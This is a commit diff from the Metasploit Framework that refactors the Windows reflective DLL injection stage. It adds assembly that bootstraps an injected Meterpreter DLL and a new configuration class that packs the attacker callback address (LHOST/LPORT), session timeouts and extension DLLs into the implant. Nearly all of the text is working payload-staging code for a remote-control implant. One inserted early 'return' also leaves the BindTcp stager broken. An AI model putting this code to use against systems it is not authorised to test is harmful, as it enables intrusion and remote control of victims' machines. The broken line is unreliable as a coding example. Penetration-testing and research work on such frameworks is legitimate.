mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
First pass of refactoring to support new config block
This is pretty basic stuff, but at least it's reusable.
This commit is contained in:
parent
9f1e035c53
commit
bb77a3a0e6
@ -37,6 +37,7 @@ module Payload::Windows::BindTcp
|
||||
)
|
||||
end
|
||||
|
||||
return ""
|
||||
conf = {
|
||||
port: datastore['LPORT'].to_i,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
|
@ -2,6 +2,7 @@
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/reflective_dll_loader'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Msf
|
||||
|
||||
@ -30,11 +31,7 @@ module Payload::Windows::ReflectiveDllInject
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'PayloadCompat' => { 'Convention' => 'sockedi -https', },
|
||||
'Stage' =>
|
||||
{
|
||||
'Offsets' => { 'EXITFUNC' => [ 33, 'V' ] },
|
||||
'Payload' => ""
|
||||
}
|
||||
'Stage' => { 'Payload' => "" }
|
||||
))
|
||||
|
||||
register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], self.class )
|
||||
@ -44,31 +41,54 @@ module Payload::Windows::ReflectiveDllInject
|
||||
datastore['DLL']
|
||||
end
|
||||
|
||||
def asm_invoke_dll(opts={})
|
||||
asm = %Q^
|
||||
; prologue
|
||||
dec ebp ; 'M'
|
||||
pop edx ; 'Z'
|
||||
call $+5 ; call next instruction
|
||||
pop ebx ; get the current location (+7 bytes)
|
||||
push edx ; restore edx
|
||||
inc ebp ; restore ebp
|
||||
push ebp ; save ebp for later
|
||||
mov ebp, esp ; set up a new stack frame
|
||||
; Invoke ReflectiveLoader()
|
||||
; add the offset to ReflectiveLoader() (0x????????)
|
||||
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
|
||||
call ebx ; invoke ReflectiveLoader()
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
|
||||
; offset from ReflectiveLoader() to the end of the DLL
|
||||
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
|
||||
mov [ebx], edi ; write the current socket to the config
|
||||
mov [ebx+4], esi ; write the current listen socket to the config
|
||||
push ebx ; push the pointer to the configuration start
|
||||
push 4 ; indicate that we have attached
|
||||
push eax ; push some arbitrary value for hInstance
|
||||
mov ebx, eax ; save DllMain for another call
|
||||
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
; push the exitfunk value onto the stack
|
||||
push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
|
||||
push 5 ; indicate that we have detached
|
||||
push eax ; push some arbitrary value for hInstance
|
||||
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
^
|
||||
end
|
||||
|
||||
def stage_payload(target_id=nil)
|
||||
# Exceptions will be thrown by the mixin if there are issues.
|
||||
dll, offset = load_rdi_dll(library_path)
|
||||
|
||||
exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration
|
||||
asm_opts = {
|
||||
:rdi_offset => offset,
|
||||
:length => dll.length,
|
||||
:exitfunk => 'thread'
|
||||
}
|
||||
|
||||
bootstrap = "\x4D" + # dec ebp ; M
|
||||
"\x5A" + # pop edx ; Z
|
||||
"\xE8\x00\x00\x00\x00" + # call 0 ; call next instruction
|
||||
"\x5B" + # pop ebx ; get our location (+7)
|
||||
"\x52" + # push edx ; push edx back
|
||||
"\x45" + # inc ebp ; restore ebp
|
||||
"\x55" + # push ebp ; save ebp
|
||||
"\x89\xE5" + # mov ebp, esp ; setup fresh stack frame
|
||||
"\x81\xC3" + [offset-7].pack( "V" ) + # add ebx, 0x???????? ; add offset to ReflectiveLoader
|
||||
"\xFF\xD3" + # call ebx ; call ReflectiveLoader
|
||||
"\x89\xC3" + # mov ebx, eax ; save DllMain for second call
|
||||
"\x57" + # push edi ; our socket
|
||||
"\x68\x04\x00\x00\x00" + # push 0x4 ; signal we have attached
|
||||
"\x50" + # push eax ; some value for hinstance
|
||||
"\xFF\xD0" + # call eax ; call DllMain( somevalue, DLL_METASPLOIT_ATTACH, socket )
|
||||
"\x68" + exit_funk + # push 0x???????? ; our EXITFUNC placeholder
|
||||
"\x68\x05\x00\x00\x00" + # push 0x5 ; signal we have detached
|
||||
"\x50" + # push eax ; some value for hinstance
|
||||
"\xFF\xD3" # call ebx ; call DllMain( somevalue, DLL_METASPLOIT_DETACH, exitfunk )
|
||||
asm = asm_invoke_dll(asm_opts)
|
||||
|
||||
# generate the bootstrap asm
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if( bootstrap.length > 62 )
|
||||
@ -79,30 +99,28 @@ module Payload::Windows::ReflectiveDllInject
|
||||
# patch the bootstrap code into the dll's DOS header...
|
||||
dll[ 0, bootstrap.length ] = bootstrap
|
||||
|
||||
# patch in the timeout options
|
||||
timeout_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => Msf::Payload::UUID.new({
|
||||
:platform => 'windows',
|
||||
:arch => ARCH_X86
|
||||
}),
|
||||
:transports => [{
|
||||
:scheme => 'tcp',
|
||||
:lhost => datastore['LHOST'],
|
||||
:lport => datastore['LPORT'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}],
|
||||
:extensions => []
|
||||
}
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
|
||||
|
||||
# patch the target ID into the URI if specified
|
||||
if target_id
|
||||
i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
|
||||
if i
|
||||
t = target_id.to_s
|
||||
raise "Target ID must be less than 5 bytes" if t.length > 4
|
||||
u = "/B#{t} HTTP/1.0\r\n\r\n\x00"
|
||||
print_status("Patching Target ID #{t} into DLL")
|
||||
dll[i, u.length] = u
|
||||
end
|
||||
end
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return our stage to be loaded by the intermediate stager
|
||||
return dll
|
||||
return dll + config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -227,6 +227,8 @@ module Payload::Windows::ReverseTcp
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
sub esi, eax ; length -= bytes_received, will set flags
|
||||
jnz read_more ; continue if we have more to read
|
||||
; esi at this point is zero, which is what
|
||||
; we need to pass to the second stage
|
||||
ret ; return into the second stage
|
||||
^
|
||||
|
||||
|
83
lib/rex/payloads/meterpreter/config.rb
Normal file
83
lib/rex/payloads/meterpreter/config.rb
Normal file
@ -0,0 +1,83 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core/payload/uuid'
|
||||
require 'msf/core/reflective_dll_loader'
|
||||
|
||||
class Rex::Payloads::Meterpreter::Config
|
||||
|
||||
include Msf::ReflectiveDLLLoader
|
||||
|
||||
UUID_SIZE = 64
|
||||
URL_SIZE = 512
|
||||
|
||||
def initialize(opts={})
|
||||
@opts = opts
|
||||
end
|
||||
|
||||
def to_b
|
||||
config_block(@opts)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def to_wchar_t(item, size)
|
||||
item.to_s.ljust(size, "\x00").unpack("C*").pack("v*")
|
||||
end
|
||||
|
||||
def session_block(opts={})
|
||||
uuid = to_wchar_t(opts[:uuid], UUID_SIZE)
|
||||
|
||||
session_data = [
|
||||
0, # comms socket, patched in by the stager
|
||||
0, # listen socket, patched in by the stager
|
||||
opts[:expiration], # Session expiry
|
||||
uuid, # the URL to use
|
||||
].pack("VVVA*")
|
||||
end
|
||||
|
||||
def transport_block(opts={})
|
||||
# Build the URL from the given parameters, and pad it out to the
|
||||
# correct size
|
||||
url = "#{opts[:scheme]}://#{opts[:lhost]}:#{opts[:lport]}"
|
||||
url << "#{opts[:uri]}/" if opts[:uri]
|
||||
url = to_wchar_t(url, URL_SIZE)
|
||||
|
||||
transport_data = [
|
||||
opts[:comm_timeout], # communications timeout
|
||||
opts[:retry_total], # retry total time
|
||||
opts[:retry_wait], # retry wait time
|
||||
url
|
||||
].pack("VVVA*")
|
||||
end
|
||||
|
||||
def extension_block(ext_name, file_extension)
|
||||
ext_name = ext_name.strip.downcase
|
||||
ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{ext_name}",
|
||||
file_extension))
|
||||
|
||||
extension_data = [ ext.length, ext ].pack("VA*")
|
||||
end
|
||||
|
||||
def config_block(opts={})
|
||||
# start with the session information
|
||||
config = session_block(opts)
|
||||
|
||||
# then load up the transport configurations
|
||||
(opts[:transports] || []).each do |t|
|
||||
config << transport_block(t)
|
||||
end
|
||||
|
||||
# terminate the transports with a single NULL byte
|
||||
config << "\x00"
|
||||
|
||||
# configure the extensions
|
||||
(opts[:extensions] || []).each do |e|
|
||||
config << extension_block(e, opts[:file_extension])
|
||||
end
|
||||
|
||||
# terminate the extensions with a 0 size
|
||||
config << [0].pack("V")
|
||||
|
||||
# and we're done
|
||||
config
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue
Block a user